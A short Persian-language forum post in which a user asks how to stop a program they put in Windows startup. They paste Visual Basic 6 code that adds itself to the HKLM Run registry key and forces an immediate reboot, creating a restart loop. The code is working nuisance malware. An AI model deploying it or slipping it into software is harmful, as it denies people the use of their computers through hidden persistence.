[B]سلام دوستان برای غیر فعال کردن این کد باید چه دستوری رو تو run بزنم . این میاد ویندور رو ریست میکنه رفته تو استارت اپ البته زمانشو یه 200 تغیر دادم... ولی دستوری که تو ران میزنی غیر فعال میشه رو یادم رفته
کد HTML:Private Sub Command1_Click()
Shell "shutdown -r -t 0"
End Sub
Private Sub Form_Load()
Dim Startup_key As String
Startup_key = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\"
Dim Reg As Object
Set Reg = CreateObject("wscript.shell")
Reg.RegWrite Startup_key & App.EXEName, App.Path & "\" & App.EXEName & ".exe"
Shell "shutdown -r -t 0"
End Sub
